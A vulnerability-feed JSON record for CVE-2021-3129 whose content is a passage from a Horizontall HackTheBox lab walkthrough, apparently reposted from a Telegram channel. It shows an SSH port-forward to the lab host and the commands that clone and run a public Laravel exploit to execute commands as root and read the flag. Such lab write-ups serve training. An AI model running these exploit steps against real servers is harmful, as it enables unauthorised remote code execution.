{"uuid": "575f2bd1-8a6e-4c5e-a4b4-671c66656459", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3129", "type": "seen", "source": "https://t.me/hacking_Attack/42981", "content": "9vSBLdK7eDeVI7RdmJ2-wbIpFZw_ewUl8wc5H3OqZ0n63eGtc-OdzKbioP0GHXc0jTftJE18DO3pqnM8NclM09PWMi6ndCxZJ-TPMMn6vRachjCjWgkn-l7Pp9J6JoAQkcnWXZvdg5c3XEKuF3coL5dmeDomMlxK0rmXLT7xTrTViG8U4w=s16000 \n\nAs it had got copied, we could now run an SSH tunnel and forward port 8000 to our local system\u2019s port 8000 using the command:\nssh -i id_rsa -L 8000:localhost:8000 strapi@10.129.149.92 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEg5P8O-YazC63GrD3ASQtSzgC7vF2il1g_B5-XYrhPEaqRkPreEo3stdTN0e3ahUodc9l85gHmS2v4u3KNmAgHwxsBqStVNeb0ZcZPAPbqLXy7smSRH8X4AIg-5oE0bdEBPjBZGv8x-queG6RB3H2eY05xSEdeseFNz-qwvmh96SwP_MeDdLjiw2mJxpA=s16000 \n\nNow, upon traversing local port 8000 in the web browser, we observed that Laravel version 7.4.18 was running.\nhttp://localhost:8000 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEiAXPSwohpMtVZcTJH0oBsHQyhdwEnb1jxJfwSOHgPQdvE5thNIdgdhfX56s9uN33rR0jZhUad0hhLv-2tvPmdaSFTQ4opweFMdAQo1osVMd0UtG1h8Sqicyov9VRSRtRgUP-HQcHXaIJK1laNJb1Tc1ykyF9XaGV_468sxDHIqhY4JgOQvgZjDzmwBYw=s16000 \n\nThis version is vulnerable to CVE-2021-3129. This vulnerability allows an attacker to execute code because of an insecure implementation of the file_get_contents() function. A PoC is available on github (ref here) which we cloned and ran.\ngit clone https://github.com/nth347/CVE-2021-3129_exploit.git\ncd CVE-2021-3129_exploit\nchmod +x exploit.py\n./exploit.py http://localhost:8000 Monolog/RCE1 id\n./exploit.py http://localhost:8000 Monolog/RCE1 \"cat /root/root.txt\" \nhttps://blogger.googleusercontent.com/img/a/AVvXsEidDZ8aYKOKJJfCc7h4kGGaqnWFvPISMV-dAZrUt1N7adEUKXVfGSZ1m4l1u-pTHadUW45IHQSMWOPYHu4X3rGRDqKAwUTH67CWW0jnla3jCR86YLCvh5cPrRNYGyMVlPK0h2WBwbSPugLCW1t4__qSGnEw5Be6TeB_LFt31apDr16MEijC61iJVbyijg=s16000 \n\nAnd as you can see, the application was owned by root and thus we are able to execute commands as root. This is how we escalated our privileges and snagged the root flag. ConclusionThe lab offers a practical understanding of googling, understanding, finding public exploits and running them to exploit a server. In our humble opinion, the website is suitable for beginners or students practising for OSCP. Hope you liked the article. Thanks for reading.\n\nAuthor: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here\n\nThe post Horizontall HackTheBox Walkthrough appeared first on Hacking Articles.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:54.837154Z"}